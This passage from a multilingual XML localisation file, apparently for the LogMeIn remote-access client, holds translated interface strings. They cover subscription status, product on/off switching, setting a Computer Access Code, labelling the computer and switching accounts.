<nl>In een nieuw bericht met mijn e-mailclient gebruiken</nl>
</msg>
<msg name="NOTAVAILOFF">
<en>Not available if offline</en>
<es>No disponible si está desconectado</es>
<de>Nicht verfügbar, wenn offline</de>
<fr>Indisponible si hors ligne</fr>
<it>Non disponibile se non in linea</it>
<ru>Недоступно в автономном режиме</ru>
<ja>オフラインの場合は利用できません</ja>
<zh>脱机时不可用</zh>
<ko>오프라인인 경우 사용할 수 없음</ko>
<en-gb>Not available if offline</en-gb>
<hu>Hálózati kapcsolat nélkül nem elérhető</hu>
<pt-br>Não disponível se offline</pt-br>
<nl>Niet beschikbaar indien offline</nl>
</msg>
<msg name="NOTACCESS">
<en>Not available if turned off</en>
<es>No disponible si está apagado</es>
<de>Nicht verfügbar, wenn ausgeschaltet</de>
<fr>Indisponible si désactivé</fr>
<it>Non disponibile se non attivo</it>
<ru>Недоступно в отключенном\nсостоянии</ru>
<ja>オフの場合は利用できません</ja>
<zh>关闭时不可用</zh>
<ko>꺼져 있는 경우 사용할 수 없음</ko>
<en-gb>Not available if turned off</en-gb>
<hu>Kikapcsolt állapotban nem elérhető</hu>
<pt-br>Não disponível se desligado</pt-br>
<nl>Niet beschikbaar indien uitgeschakeld</nl>
</msg>
<msg name="NOTAVAILNOSUBS">
<en>Not available</en>
<es>No disponible</es>
<de>Nicht verfügbar</de>
<fr>Non disponible</fr>
<it>Non disponibile</it>
<ru>Недоступно</ru>
<ja>利用できません</ja>
<zh>不可用</zh>
<ko>사용할 수 없음</ko>
<en-gb>Not available</en-gb>
<hu>Nem elérhető</hu>
<pt-br>Não disponível</pt-br>
<nl>Niet beschikbaar</nl>
</msg>
<msg name="TRIAL">
<en> Trial</en>
<es>Prueba</es>
<de>Probe-Abo</de>
<fr>Essai</fr>
<it>Versione di prova</it>
<ru>Ознакомительная версия</ru>
<ja>試用版</ja>
<zh>试用版</zh>
<ko>무료 평가 버전</ko>
<en-gb>Trial</en-gb>
<hu>Próba</hu>
<pt-br>Versão de avaliação</pt-br>
<nl>Proefversie</nl>
</msg>
<msg name="MONTHLY">
<en> Monthly</en>
<es>Mensual</es>
<de>Monatlich</de>
<fr>Mensuel</fr>
<it>Mensile</it>
<ru>Месячная</ru>
<ja>月間</ja>
<zh>每月</zh>
<ko>월간 버전</ko>
<en-gb>Monthly</en-gb>
<hu>Havi</hu>
<pt-br>Mensal</pt-br>
<nl>Maandelijks</nl>
</msg>
<msg name="YEARLY">
<en> Yearly</en>
<es>Anual</es>
<de>Jährlich</de>
<fr>Annuel</fr>
<it>Annuale</it>
<ru>Годовая</ru>
<ja>年間</ja>
<zh>每年</zh>
<ko>연간 버전</ko>
<en-gb>Yearly</en-gb>
<hu>Éves</hu>
<pt-br>Anual</pt-br>
<nl>Jaarlijks</nl>
</msg>
<msg name="COMPLEMENTARY">
<en> Complementary</en>
<es>Gratuito</es>
<de>Gratis</de>
<fr>Gratuit</fr>
<it>Gratis</it>
<ru>Бесплатная</ru>
<ja>無料</ja>
<zh>免费</zh>
<ko>무료 버전</ko>
<en-gb>Complementary</en-gb>
<hu>Ingyenes</hu>
<pt-br>Grátis</pt-br>
<nl>Gratis</nl>
</msg>
<msg name="AVAIL_OF">
<en> - %d of %d Available</en>
<es>- %d de %d disponible</es>
<de>- %d von %d verfügbar</de>
<fr>- %d sur %d disponible</fr>
<it>- %d di %d disponibili</it>
<ru>– Доступно %d из %d</ru>
<ja>- %d の %d が利用可能</ja>
<zh>- %d/%d 可用</zh>
<ko>- %d/%d 사용 가능</ko>
<en-gb>- %d of %d Available</en-gb>
<hu>- A %d közül %d elérhető</hu>
<pt-br>- %d de %d disponível(s)</pt-br>
<nl>- %d van %d Beschikbaar</nl>
</msg>
<msg name="MAX_AVAIL">
<en> - %d Available</en>
<es>- %d disponible</es>
<de>- %d verfügbar</de>
<fr>- %d disponible</fr>
<it>- %d disponibili</it>
<ru>– Доступно %d</ru>
<ja>- %d が利用可能</ja>
<zh>- %d 可用</zh>
<ko>- %d 사용 가능</ko>
<en-gb>- %d Available</en-gb>
<hu>- %d elérhető</hu>
<pt-br>- %d disponível(is)</pt-br>
<nl>- %d Beschikbaar</nl>
</msg>
<msg name="ERROR">
<en>Error</en>
<de>Fehler</de>
<es>Error</es>
<fr>Erreur</fr>
<it>Errore</it>
<ru>Ошибка</ru>
<ja>エラー</ja>
<zh>错误</zh>
<ko>오류</ko>
<en-gb>Error</en-gb>
<hu>Hiba</hu>
<pt-br>Erro</pt-br>
<nl>Fout</nl>
</msg>
<msg name="SWITCH_OFF">
<en>Switch off %PRODUCTNAME</en>
<es>Desactivar %PRODUCTNAME</es>
<de>%PRODUCTNAME deaktiviere</de>
<fr>Désactiver %PRODUCTNAME</fr>
<it>Disattiva %PRODUCTNAME</it>
<ru>Отключить %PRODUCTNAME</ru>
<ja>%PRODUCTNAME をオフにする</ja>
<zh>关闭 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 끄기</ko>
<en-gb>Switch off %PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME kikapcsolása</hu>
<pt-br>Desativar o %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME uitschakelen</nl>
</msg>
<msg name="SWITCH_ON">
<en>Switch on %PRODUCTNAME</en>
<es>Activar %PRODUCTNAME</es>
<de>%PRODUCTNAME aktivieren</de>
<fr>Activer %PRODUCTNAME</fr>
<it>Attiva %PRODUCTNAME</it>
<ru>Включить %PRODUCTNAME</ru>
<ja>%PRODUCTNAME をオンにする</ja>
<zh>打开 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 켜기</ko>
<en-gb>Switch on %PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME bekapcsolása</hu>
<pt-br>Ativar o %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME inschakelen</nl>
</msg>
</cat>
<cat name="CPWD">
<msg name="TITLE">
<en>Set Computer Access Code</en>
<de>Computerzugriffscode einrichten</de>
<es>Definir código de acceso al ordenador</es>
<fr>Définir le code d’accès à l’ordinateur</fr>
<it>Imposta il codice di accesso al computer</it>
<nl>Computertoegangscode instellen</nl>
<pt-br>Definir código de acesso ao computador</pt-br>
<hu>Számítógépes hozzáférési kód beállítása</hu>
<ru>Установка кода доступа к компьютеру</ru>
<ja>コンピュータ アクセス コードの設定</ja>
<ko>컴퓨터 액세스 코드 설정</ko>
<zh>设置计算机访问代码</zh>
</msg>
<msg name="TITLE" os="macosx">
<en>Create Computer Access Code</en>
<de>Computerzugriffscode erstellen</de>
<es>Crear código de acceso al ordenador</es>
<fr>Créer le code d’accès à l’ordinateur</fr>
<it>Imposta codice di accesso al computer</it>
<ru>Установка кода доступа к компьютеру</ru>
<ja>コンピュータ アクセス コードの作成</ja>
<zh>创建计算机访问代码</zh>
<ko>컴퓨터 액세스 코드 만들기</ko>
<en-gb>Create Computer Access Code</en-gb>
<hu>Számítógépes hozzáférési kód beállítása</hu>
<pt-br>Definir Código de acesso ao computador</pt-br>
<nl>Computertoegangscode instellen</nl>
</msg>
<msg name="TITLE2" os="macosx">
<en>Change Computer Access Code</en>
<de>Computerzugriffscode ändern</de>
<es>Cambiar código de acceso al ordenador</es>
<fr>Modifier le code d’accès à l’ordinateur</fr>
<it>Cambia codice di accesso al computer</it>
<ru>Изменение кода доступа к компьютеру</ru>
<ja>コンピュータ アクセス コードの変更</ja>
<zh>更改计算机访问代码</zh>
<ko>컴퓨터 액세스 코드 변경</ko>
<en-gb>Change Computer Access Code</en-gb>
<hu>Számítógépes hozzáférési kód módosítása</hu>
<pt-br>Alterar Código de acesso ao computador</pt-br>
<nl>Computertoegangscode wijzigen</nl>
</msg>
<msg name="TITLE3" os="macosx">
<en>Important: Create Computer Access Code</en>
<de>Wichtig: Computerzugriffscode erstellen</de>
<es>Importante: Crear código de acceso al ordenador</es>
<fr>Important : Créer le code d’accès à l’ordinateur</fr>
<it>Importante: Imposta codice di accesso al computer</it>
<ru>Важно! Установить код доступа к компьютеру</ru>
<ja>重要:コンピュータ アクセス コードの作成</ja>
<zh>重要说明:创建计算机访问代码</zh>
<ko>중요: 컴퓨터 액세스 코드 만들기</ko>
<en-gb>Important: Create Computer Access Code</en-gb>
<hu>Fontos: Számítógépes hozzáférési kód beállítása</hu>
<pt-br>Importante: Definir Código de acesso ao computador</pt-br>
<nl>Belangrijk: Computertoegangscode instellen</nl>
</msg>			
<msg name="TITLE4" os="macosx">
<en>Change Computer Access Code...</en>
<es>Cambiar código de acceso al ordenador...</es>
<de>Computerzugriffscode ändern...</de>
<fr>Modifier le code d’accès à l’ordinateur...</fr>
<it>Cambia codice di accesso al computer...</it>
<ru>Изменить код доступа к компьютеру...</ru>
<ja>コンピュータ アクセス コードの変更...</ja>
<zh>更改计算机访问代码...</zh>
<ko>컴퓨터 액세스 코드 변경...</ko>
<en-gb>Change Computer Access Code...</en-gb>
<hu>Számítógépes hozzáférési kód módosítása...</hu>
<pt-br>Alterar Código de acesso do computador...</pt-br>
<nl>Toegangscode voor computer...</nl>
</msg>
<msg name="TEXT">
<en>Important: Your computer is set up to be used without a password. To prevent unauthorized use, remote use via LogMeIn requires an access code.</en>
<de>Wichtig: Ihr Computer ist für eine Benutzung ohne Passwort eingerichtet. Um eine unbefugte Benutzung zu verhindern, wird für den Fernzugriff über LogMeIn ein Zugriffscode benötigt.</de>
<es>Importante: Su ordenador está configurado para poder usarlo sin contraseña. Para evitar usos no autorizados, el uso remoto a través de LogMeIn requiere un código de acceso.</es>
<fr>Important : Votre ordinateur est configuré pour un accès sans mot de passe. Pour bloquer les connexions non autorisées, le contrôle à distance LogMeIn nécessite un mot de passe.</fr>
<it>Importante: Il computer è impostato per essere usato senza una password. Per impedire l’uso non autorizzato, l’uso remoto con LogMeIn richiede un codice di accesso.</it>
<nl>Belangrijk: Uw computer is nu zo ingesteld dat hij zonder wachtwoord gebruikt kan worden. Om ongeautoriseerde toegang te verhinderen is voor externe toegang met LogMeIn een toegangscode vereist.</nl>
<pt-br>Importante: seu computador está configurado para uso sem senha. Para evitar utilização não autorizada, o acesso remoto via LogMeIn solicita um código de acesso.</pt-br>
<hu>Fontos: Számítógépe jelszó nélküli használatra van beállítva. A jogosulatlan használat megelőzése érdekében a LogMeIn rendszerén keresztül történő távoli használathoz hozzáférési kódra van szükség.</hu>
<ru>Важно! Ваш компьютер настроен на использование без пароля. Для предотвращения несанкционированного доступа необходимо установить код удаленного доступа посредством LogMeIn.</ru>
<ja>重要 : このコンピュータはパスワードなしで使用できるように設定されています。不正使用を防ぐために、LogMeIn 経由でリモートから使用する場合はアクセスコードが必要です。</ja>
<ko>중요: 컴퓨터가 암호 없이 사용할 수 있도록 설정되었습니다. 컴퓨터의 무단 사용을 방지하기 위해 LogMeIn을 통해 원격으로 사용하려면 액세스 코드가 필요합니다.</ko>
<zh>重要说明:您的计算机设置为在没有密码的情况下使用。为防止未经授权的使用,通过 LogMeIn 远程使用需要访问代码。</zh>
</msg>
<msg name="PWD">
<en>Create access code</en>
<de>Zugriffscode erstellen</de>
<es>Crear código de acceso</es>
<fr>Créer un code d'accès</fr>
<it>Crea codice di accesso</it>
<nl>Toegangscode creëren</nl>
<pt-br>Criar código de acesso</pt-br>
<hu>Hozzáférési kód létrehozása</hu>
<ru>Новый код доступа</ru>
<ja>アクセスコードを作成</ja>
<ko>액세스 코드 만들기</ko>
<zh>创建访问代码</zh>
</msg>
<msg name="PWD2">
<en>Confirm access code</en>
<de>Zugriffscode bestätigen</de>
<es>Confirmar código de acceso</es>
<fr>Confirmer le code d'accès</fr>
<it>Conferma codice di accesso</it>
<nl>Toegangscode bevestigen</nl>
<pt-br>Confirmar código de acesso</pt-br>
<hu>Hozzáférési kód megerősítése</hu>
<ru>Подтверждение кода доступа</ru>
<ja>アクセスコードを確認</ja>
<ko>액세스 코드 확인</ko>
<zh>确认访问代码</zh>
</msg>
<msg name="PWD3">
<en>Change access code</en>
<de>Zugriffscode ändern</de>
<es>Cambiar código de acceso</es>
<fr>Modifier le code d'accès</fr>
<it>Cambia codice di accesso</it>
<nl>Toegangscode wijzigen</nl>
<pt-br>Alterar código de acesso</pt-br>
<hu>Hozzáférési kód módosítása</hu>
<ru>Изменить код доступа</ru>
<ja>アクセスコードを変更</ja>
<ko>액세스 코드 변경</ko>
<zh>更改访问代码</zh>
</msg>
<msg name="TIP">
<en>min. 8 characters</en>
<de>min. 8 Zeichen</de>
<es>mín. 8 caracteres</es>
<fr>8 caractères min.</fr>
<it>min. 8 caratteri</it>
<nl>min. 8 tekens</nl>
<pt-br>mín. 8 caracteres</pt-br>
<hu>legalább 8 karakter</hu>
<ru>минимум 8 символов</ru>
<ja>最低でも 8 文字必要</ja>
<ko>8자 이상</ko>
<zh>最少 8 个字符</zh>
</msg>
<msg name="TIP" os="macosx">
<en>min. 8 characters, clear to reset</en>
<de>mind. 8 Zeichen, zum Zurücksetzen löschen</de>
<es>8 caracteres como mínimo, eliminar para borrar el código</es>
<fr>minimum 8 caractères, effacer pour réinitialiser</fr>
<it>min. 8 caratteri, cancella per resettare</it>
<ru>минимум 8 символов, для удаления оставить пустым</ru>
<ja>最低でも 8 文字必要、消去してリセット</ja>
<zh>最少 8 个字符,清除可重置</zh>
<ko>8자 이상, 리셋하려면 지우기</ko>
<en-gb>min. 8 characters, clear to reset</en-gb>
<hu>legalább 8 karakter; a törléshez hagyja üresen</hu>
<pt-br>mín. 8 caracteres, deixe vazio para apagar</pt-br>
<nl>min. 8 tekens; wis om opnieuw in te stellen</nl>
</msg>
<msg name="SHOW">
<en>Show</en>
<de>Anzeigen</de>
<es>Mostrar</es>
<fr>Afficher</fr>
<it>Mostra</it>
<nl>Weergeven</nl>
<pt-br>Exibir</pt-br>
<hu>Megjelenítés</hu>
<ru>Показать</ru>
<ja>表示</ja>
<ko>표시</ko>
<zh>显示</zh>
</msg>
<msg name="HIDE">
<en>Hide</en>
<de>Ausblenden</de>
<es>Ocultar</es>
<fr>Masquer</fr>
<it>Nascondi</it>
<nl>Verbergen</nl>
<pt-br>Ocultar</pt-br>
<hu>Elrejtés</hu>
<ru>Скрыть</ru>
<ja>隠す</ja>
<ko>숨기기</ko>
<zh>隐藏</zh>
</msg>
<msg name="NOTE">
<en>Notes:</en>
<de>Notizen:</de>
<es>Notas:</es>
<fr>Remarques :</fr>
<it>Note:</it>
<nl>Opmerkingen:</nl>
<pt-br>Observações:</pt-br>
<hu>Megjegyzések:</hu>
<ru>Примечания</ru>
<ja>注意 :</ja>
<ko>참고:</ko>
<zh>注意事项:</zh>
</msg>
<msg name="INFO">
<en>- Without the code, you cannot access this computer remotely.\n- You can reset it any time, but only on this computer, in this app, under Options.\n- LogMeIn support cannot retrieve or reset your Computer Access Code.</en>
<de>– Ohne den Code können Sie nicht per Fernzugriff auf diesen Computer zugreifen.\n– Er lässt sich jederzeit zurücksetzen, jedoch nur auf diesem Computer, in dieser App, unter „Optionen“.\n– Der LogMeIn-Support kann Ihren Computerzugriffscode nicht abrufen oder zurücksetzen.</de>
<es>- Sin el código no podrá acceder a este ordenador de forma remota.\n- Puede restablecerlo en cualquier momento, pero solo en este ordenador y desde esta aplicación, en Opciones.\n- El servicio de asistencia técnica de LogMeIn no pudo recuperar o restablecer su Código de acceso al ordenador.</es>
<fr>- Sans code, vous ne pouvez pas accéder à distance à cet ordinateur.\n- Vous pouvez redéfinir le code à tout moment, mais seulement sur cet ordinateur, dans Options.\n- L'assistance LogMeIn ne peut pas récupérer ou réinitialiser votre code d'accès à l'ordinateur.</fr>
<it>- Senza codice, l’accesso remoto a questo computer non è possibile.\n- Il codice potrà essere reimpostato in qualsiasi momento, ma solamente su questo computer, nella sezione Opzioni di questa app.\n- Il supporto LogMeIn non è in grado di recuperare o reimpostare il Codice di accesso al computer.</it>
<nl>- Zonder de code kunt u geen externe toegang tot deze computer krijgen.\n- U kunt de code op elk moment opnieuw instellen in deze app, onder Optie, maar alleen op deze computer.\n- LogMeIn Support kan uw computertoegangscode niet vinden of opnieuw instellen.</nl>
<pt-br>- sem o código, não será possível acessar este computador remotamente;\n- você pode redefini-lo a qualquer hora, mas apenas neste computador, neste aplicativo, em Opções;\n- o suporte LogMeIn não pode recuperar ou redefinir seu código de acesso ao computador.</pt-br>
<hu>– A kód nélkül nem férhet hozzá távolról ehhez a számítógéphez.\n– A kódot bármikor átállíthatja, de kizárólag ezen a számítógépen és ebben az alkalmazásban, a Beállítások menüben.\n– A LogMeIn ügyfélszolgálata a számítógépes hozzáférési kódot nem tudja sem lekérdezni, sem átállítani.</hu>
<ru>— Без кода удаленный доступ к этому компьютеру будет невозможен.\n— Код можно сбросить в любой момент, но только на данном компьютере при помощи пункта меню «Параметры» в этом приложении.\n— Служба поддержки LogMeIn не может извлечь или сбросить ваш код доступа к компьютеру.</ru>
<ja>- このコードがないと、このコンピュータにリモートからアクセスできません。\n- このコードはいつでもリセットできますが、リセットできるのはこのコンピュータ上のこのアプリの [オプション] からだけです。\n- LogMeIn サポートはコンピュータ アクセス コードを元に戻したりリセットしたりできません。</ja>
<ko>- 코드가 없으면 이 컴퓨터에 원격으로 액세스할 수 없습니다.\n- 옵션에서 언제든지 재설정할 수 있지만, 이 컴퓨터와 이 앱에서만 가능합니다.\n- LogMeIn 지원팀은 사용자의 컴퓨터 액세스 코드를 검색하거나 재설정할 수 없습니다.</ko>
<zh>- 如果没有此代码,则您无法远程访问这台计算机。\n- 您可以在任意时间重置该代码,但是必须在这台计算机上使用“选项”下方的应用程序。\n- LogMeIn 支持无法恢复或重置您的计算机访问代码。</zh>
</msg>
<msg name="INFO" os="macosx">
<en>- We do not recommend setting a Computer Access Code if you already have a Mac password set at System Preferences > User and Groups\n- If you set both an Access Code and a Mac password, you can choose which to use upon login\n- To clear your existing code, leave the field blank and click Save</en>
<de>- Die Einrichtung eines Computerzugriffscodes ist nicht empfohlen, wenn unter „Systemeinstellungen“ &gt; „Benutzer und Gruppen“ bereits ein Mac-Passwort festgelegt wurde.\n- Wenn Sie sowohl einen Zugriffscode als auch ein Mac-Passwort festlegen, haben Sie die Wahl, was Sie bei der Anmeldung verwenden möchten.\n- Um Ihren bestehenden Code zu löschen, lassen Sie das Feld einfach leer und klicken Sie auf „Speichern“.</de>
<es>- No recomendamos definir un código de acceso al ordenador si ya tiene una contraseña de Mac establecida en Preferencias del Sistema &gt; Usuarios y Grupos\n- Si define tanto un código de acceso al ordenador como una contraseña de Mac, podrá elegir la opción que desee usar para iniciar sesión\n- Para borrar el código existente, deje el campo en blanco y haga clic en Guardar</es>
<fr>- Nous ne recommandons pas la définition d'un code d'accès à l'ordinateur si vous avez déjà un mot de passe Mac défini dans Préférences système &gt; Utilisateurs et Groupes.\n- Si vous définissez à la fois un code d'accès et un mot de passe Mac, vous pourrez choisir celui à utiliser à l'ouverture de session.\n- Pour effacer votre code existant, laissez le champ vide et cliquez sur Enregistrer.</fr>
<it>- Non ti consigliamo di impostare un codice di accesso al computer se hai già impostato una password al percorso Preferenze di sistema &gt; Utenti e gruppi\n- Se hai sia un codice di accesso sia una password Mac, puoi scegliere quale utilizzare nel momento dell’accesso\n- Per cancellare il codice esistente, lascia il campo vuoto e fai clic su Salva</it>
<ru>— Не рекомендуется устанавливать код доступа к компьютеру, если уже задан пароль для компьютера Mac при помощи пульта «Системные настройки» &gt; «Пользователи и группы».\n— Ели установлены и код доступа к компьютеру, и пароль для Mac, при входе можно будет выбрать способ аутентификации.\n— Чтобы удалить текущий код, оставьте поле кода пустым и нажмите кнопку «Сохранить».</ru>
<ja>[システム環境設定] &gt; [ユーザーとグループ] で Mac パスワードをすでに設定した場合、コンピュータ アクセス コードを設定することはお勧めできません。\n- アクセス コードと Mac パスワードの両方を設定した場合は、ログイン時にどちらを使うかを決めてください。\n- 既存のコードを削除するには、フィールドを空白にしたままで [保存] をクリックします。</ja>
<zh>- 如果已在“系统预置”&gt;“用户和组”中设置 Mac 密码,我们不建议设置计算机访问代码\n- 如果同时设置了访问代码和 Mac 密码,可随意使用其中一种进行登录\n- 要清除现有代码,将此字段留空并单击“保存”</zh>
<ko>- 이미 시스템 환경설정 &gt; 사용자 및 그룹에서 Mac 암호를 설정한 경우 컴퓨터 액세스 코드를 설정하는 것은 권장하지 않습니다.\n- 액세스 코드와 Mac 암호를 모두 설정한 경우 로그인 시 선택하여 사용할 수 있습니다.\n- 기존 코드를 지우려면 필드를 비우고 저장을 클릭하십시오.</ko>
<en-gb>- We do not recommend setting a Computer Access Code if you already have a Mac password set at System Preferences &gt; User and Groups\n- If you set both an Access Code and a Mac password, you can choose which to use upon login\n- To clear your existing code, leave the field blank and click Save</en-gb>
<hu>– Ha a számítógéphez már beállított egy Mac jelszót a Rendszerbeállítások &gt; Felhasználók és csoportok alatt, nem javasoljuk a hozzáférési kód beállítását\n– Ha hozzáférési kódot és Mac jelszót egyaránt beállított, akkor bejelentkezéskor választhat, melyiket használja a hozzáféréshez.\n– A meglévő kód törléséhez hagyja a mezőt üresen, majd kattintson a Mentés gombra.</hu>
<pt-br>Não recomendamos a configuração de um Código de acesso ao computador se você já tem uma senha de Mac definida em Preferências do sistema &gt; Usuários e grupos\n- Se definir um Código de acesso e uma senha de Mac, você pode escolher um deles para efetuar login\n- Para limpar o código existente, deixe o campo em branco e clique em Salvar</pt-br>
<nl>- We raden af om een computertoegangscode in te stellen als u al een Mac-wachtwoord heeft ingesteld onder Systeemvoorkeuren &gt; Gebruikers en Groepen\n- Als u zowel een toegangscode als een Mac-wachtwoord instelt, kunt u kiezen welke u wilt gebruiken bij het aanmelden.\n- Laat het veld leeg en klik op 'Opslaan' om uw huidige code te wissen.</nl>
</msg>
<msg name="QUESTION">
<en>Why do I need a Computer Access Code?</en>
<de>Warum benötige ich einen Computerzugriffscode?</de>
<es>¿Por qué necesito un Código de acceso al ordenador?</es>
<fr>À quoi sert le code d'accès à l'ordinateur ?</fr>
<it>Perché serve un Codice di accesso al computer?</it>
<nl>Waarom heb ik een computertoegangscode nodig?</nl>
<pt-br>Por que eu preciso de um código de acesso ao computador?</pt-br>
<hu>Miért van szükségem számítógépes hozzáférési kódra?</hu>
<ru>Зачем нужен код доступа к компьютеру?</ru>
<ja>コンピュータ アクセス コードはなぜ必要なのですか?</ja>
<ko>왜 컴퓨터 액세스 코드가 필요합니까?</ko>
<zh>我为什么需要计算机访问代码?</zh>
</msg>
</cat>
<cat name="CDESC">
<msg name="TITLE">
<en>Label your Computer</en>
<de>Weisen Sie Ihrem Computer eine Bezeichnung zu</de>
<es>Identifique su ordenador</es>
<fr>Libellez votre ordinateur</fr>
<it>Etichetta il computer</it>
<nl>Uw computer labelen</nl>
<pt-br>Nomeie seu computador</pt-br>
<hu>Számítógép címkézése</hu>
<ru>Присвойте компьютеру подпись</ru>
<ja>コンピュータに名前を付ける</ja>
<ko>컴퓨터에 레이블 지정</ko>
<zh>标记您的计算机</zh>
</msg>
<msg name="DESC">
<en>Computer description:</en>
<de>Computerbeschreibung:</de>
<es>Descripción del ordenador:</es>
<fr>Description de l'ordinateur :</fr>
<it>Descrizione del computer:</it>
<nl>Beschrijving van computer:</nl>
<pt-br>Descrição do computador:</pt-br>
<hu>A számítógép leírása:</hu>
<ru>Описание компьютера:</ru>
<ja>コンピュータの説明 :</ja>
<ko>컴퓨터 설명:</ko>
<zh>计算机说明:</zh>
</msg>
<msg name="INFO">
<en>This will be your computer's label in your LogMeIn account</en>
<de>Dies ist die Bezeichnung Ihres Computers in Ihrem LogMeIn-Konto</de>
<es>Este será el identificador de su ordenador en su cuenta de LogMeIn</es>
<fr>Correspondra au libellé de votre ordinateur dans votre compte LogMeIn.</fr>
<it>Questa sarà l’etichetta del computer nell’account LogMeIn</it>
<nl>Dit wordt het label van uw computer in uw LogMeIn-account</nl>
<pt-br>esse será o nome do computador na sua conta do LogMeIn</pt-br>
<hu>A számítógép ezzel a címkével fog szerepelni az Ön LogMeIn fiókjában</hu>
<ru>Эта подпись будет отображаться для компьютера в вашей учетной записи LogMeIn</ru>
<ja>これが LogMeIn アカウントでのコンピュータの名前になります。</ja>
<ko>이 이름은 LogMeIn 계정에 등록된 컴퓨터의 레이블이 됩니다.</ko>
<zh>在 LogMeIn 帐户中,这将是您计算机的标签</zh>
</msg>
</cat>
<cat name="CLSFLOW">
<msg name="SWITCHINGFROM">
<en>Switching from</en>
<de>Wechseln von</de>
<es>ID anterior:</es>
<fr>Basculement de</fr>
<it>ID precedente:</it>
<nl>Overschakelen van</nl>
<pt-br>Alternando de</pt-br>
<hu>Váltás erről:</hu>
<ru>Переключение с:</ru>
<ja>以前の ID</ja>
<ko>다음에서 전환</ko>
<zh>切换自</zh>
</msg>
<msg name="SWITCHINGTO">
<en>Switching to</en>
<de>Wechseln zu</de>
<es>Nuevo ID:</es>
<fr>Basculement vers</fr>
<it>Nuovo ID:</it>
<nl>Overschakelen naar</nl>
<pt-br>Alterando para</pt-br>
<hu>Váltás erre:</hu>
<ru>Переключение на:</ru>
<ja>新しい ID</ja>
<ko>다음으로 전환</ko>
<zh>切换至</zh>
</msg>
<msg name="ASSIGNSUBSCRTITLE">
<en>Assign subscription to this computer</en>
<de>Diesem Computer ein Abo zuweisen</de>
<es>Asignar suscripción a este ordenador</es>
<fr>Affecter un abonnement à cet ordinateur</fr>
<it>Assegna una sottoscrizione a questo computer</it>
<nl>Abonnement toewijzen aan deze computer</nl>
<pt-br>Atribuir assinatura a este computador</pt-br>
<hu>Előfizetés hozzárendelése ehhez a számítógéphez</hu>
<ru>Назначьте подписку этому компьютеру</ru>
<ja>このコンピュータに利用期間を割り当てる</ja>
<ko>이 컴퓨터에 가입 할당</ko>
<zh>将订阅分配至此计算机</zh>
</msg>
<msg name="LOGMEINID">
<en>LogMeIn ID:</en>
<de>LogMeIn-ID:</de>
<es>ID de LogMeIn:</es>
<fr>ID LogMeIn :</fr>
<it>ID LogMeIn:</it>
<nl>LogMeIn-ID:</nl>
<pt-br>ID LogMeIn:</pt-br>
<hu>LogMeIn azonosító:</hu>
<ru>Имя пользователя LogMeIn:</ru>
<ja>LogMeIn ID :</ja>
<ko>LogMeIn ID:</ko>
<zh>LogMeIn ID:</zh>
</msg>
<msg name="CHOOSEUSERPROFILE">
<en>Choose user profile:</en>
<de>Benutzerprofil auswählen:</de>
<es>Elegir perfil de usuario:</es>
<fr>Sélectionner un profil utilisateur :</fr>
<it>Scegli il profilo utente:</it>
<nl>Gebruikersprofiel kiezen:</nl>
<pt-br>Selecione o perfil de usuário:</pt-br>
<hu>Válasszon felhasználói profilt:</hu>
<ru>Выберите профиль пользователя:</ru>
<ja>ユーザー プロファイルを選択 :</ja>
<ko>사용자 프로필 선택:</ko>
<zh>选择用户配置文件:</zh>
</msg>
<msg name="AVAILABLESUBSCR">
<en>Available subscription(s):</en>
<de>Verfügbare Abos:</de>
<es>Suscripciones disponibles:</es>
<fr>Abonnements disponibles :</fr>
<it>Sottoscrizioni disponibili:</it>
<nl>Beschikbare abonnementen:</nl>
<pt-br>Assinaturas disponíveis:</pt-br>
<hu>Választható előfizetés(ek):</hu>
<ru>Доступные подписки:</ru>
<ja>使用可能な利用期間 :</ja>
<ko>사용 가능한 가입:</ko>
<zh>可用的订阅:</zh>
</msg>
<msg name="NOTAVAILABLESUBSCR">
<en>To continue, use a LogMeIn ID and user profile with an available subscription.</en>
<es>Para continuar, utilice un ID de LogMeIn y un perfil de usuario que tenga una suscripción disponible.</es>
<de>Verwenden Sie eine LogMeIn-ID und ein Benutzerprofil mit einem verfügbaren Abo, um fortzufahren.</de>
<fr>Pour continuer, utilisez un ID LogMeIn et un profil utilisateur associé à un abonnement disponible.</fr>
<it>Per continuare, usa un ID LogMeIn e un profilo utente con una sottoscrizione disponibile.</it>
<nl>Om door te gaan gebruikt u een LogMeIn-ID en gebruikersprofiel met een beschikbaar abonnement.</nl>
<pt-br>Para continuar, use um ID LogMeIn e um perfil de usuário com uma assinatura disponível.</pt-br>
<hu>A folytatáshoz használjon egy olyan LogMeIn azonosítót és felhasználói profilt, amelyhez érvényes előfizetés tartozik.</hu>
<ru>Для продолжения используйте имя и профиль пользователя LogMeIn с оформленной подпиской.</ru>
<ja>続行するには、使用可能な利用期間がある LogMeIn ID とユーザー プロファイルを使用してください。</ja>
<ko>계속하려면 사용 가능한 가입 패키지에서 LogMeIn ID와 사용자 프로파일을 사용하십시오.</ko>
<zh>要继续,请使用具有可用订阅的 LogMeIn ID 和用户配置文件。</zh>
</msg>
<msg name="SAVINGCHANGENOTE">
<en>Note: Saving changes will stop remote access sessions currently running.</en>
<de>Hinweis: Durch das Speichern der Änderungen werden derzeit laufende Fernzugriffssitzungen beendet.</de>
<es>Nota: Al guardar los cambios se detendrán las sesiones de acceso remoto que se encuentren en ejecución.</es>
<fr>Remarque : L'enregistrement des modifications interrompra les sessions d'accès à distance en cours.</fr>
<it>Nota: Il salvataggio delle modifiche arresterà le sessioni di accesso remoto attualmente in esecuzione.</it>
<nl>Opmerking: Door wijzigingen op te slaan worden lopende externe toegangssessie gestopt.</nl>
<pt-br>Observação: salvar as alterações irá interromper as sessões de acesso remoto em andamento.</pt-br>
<hu>Megjegyzés: A módosítások mentésével leállnak az aktuálisan futó távelérési munkamenetek.</hu>
<ru>Примечание: после сохранения настроек текущие сеансы удаленного доступа будут прекращены.</ru>
<ja>注意 : 変更を保存すると、現在実行中のリモート アクセス セッションは停止します。</ja>
<ko>참고: 변경 사항을 저장하면 현재 실행 중인 원격 액세스 섹션이 중지됩니다.</ko>
<zh>注意:保存更改将停止当前运行的远程访问。</zh>
</msg>
<msg name="SWITCHACCOUNTORSUBSRCR">
<en>Switch account or subscription</en>
<de>Zu anderem Konto/Abo wechseln</de>
<es>Cambiar cuenta o suscripción</es>
<fr>Changer de compte ou d'abonnement</fr>
